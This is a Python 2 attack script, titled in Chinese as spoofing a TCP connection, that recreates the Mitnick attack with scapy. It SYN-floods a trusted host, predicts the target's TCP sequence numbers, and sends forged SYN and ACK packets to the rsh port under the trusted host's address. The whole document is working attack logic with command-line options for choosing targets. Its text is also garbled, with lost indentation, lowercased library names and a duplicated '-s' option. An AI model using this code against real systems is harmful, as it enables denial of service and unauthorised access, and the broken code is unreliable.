偽造TCP連線

#!/usr/bin/python

#coding=utf-8
import optparse
from scapy.all import *
def synflood(src, tgt):
# tcp源埠不斷自增一，而目標埠513不變
for sport in range(1024, 65535):
iplayer = ip(src=src, dst=tgt)
tcplayer = tcp(sport=sport, dport=513)
pkt = iplayer / tcplayer
send(pkt)
def caltsn(tgt):
seqnum = 0
prenum = 0
diffseq = 0
# 重複4次操作
for x in range(1,5):
# 若不是第一次傳送syn包，則設定前乙個序列號值為上一次syn/ack包的序列號值
# 邏輯出現問題
# if prenum != 0:
if seqnum != 0:
prenum = seqnum
# 構造並傳送tcp syn包
pkt = ip(dst=tgt) / tcp()
ans = sr1(pkt, verbose=0)
# 讀取syn/ack包的tcp序列號
seqnum = ans.getlayer(tcp).seq
if prenum != 0:
diffseq = seqnum - prenum
print "[*] prenum: %d  seqnum: %d" % (prenum, seqnum)
print "[+] tcp seq difference: " + str(diffseq)
print
return seqnum + diffseq
# 偽造tcp連線
def spoofconn(src, tgt, ack):
print '[*] attack tcp connection number : ' + str(ack)
# 傳送tcp syn包
iplayer = ip(src=src, dst=tgt)
tcplayer = tcp(sport=513, dport=514)
synpkt = iplayer / tcplayer
send(synpkt)
# 傳送tcp ack包
iplayer = ip(src=src, dst=tgt)
tcplayer = tcp(sport=513, dport=514, ack=ack)
ackpkt = iplayer / tcplayer
send(ackpkt)
def main():
parser = optparse.optionparser('[*]usage: python mitnickattack.py -s -s -t ')
parser.add_option('-s', dest='synspoof', type='string', help='specifc src for syn flood')
parser.add_option('-s', dest='srcspoof', type='string', help='specify src for spoofed connection')
parser.add_option('-t', dest='tgt', type='string', help='specify target address')
(options, args) = parser.parse_args()
if options.synspoof == none or options.srcspoof == none or options.tgt == none:
print parser.usage
exit(0)
else:
synspoof = options.synspoof
srcspoof = options.srcspoof
tgt = options.tgt
print '[+] starting syn flood to suppress remote server.'
synflood(synspoof, srcspoof)
print '[+] calculating correct tcp sequence number.'
seqnum = caltsn(tgt) + 1
print '[+] spoofing connection.'
spoofconn(srcspoof, tgt, seqnum)
print '[+] done.'
if __name__ == '__main__':
main()

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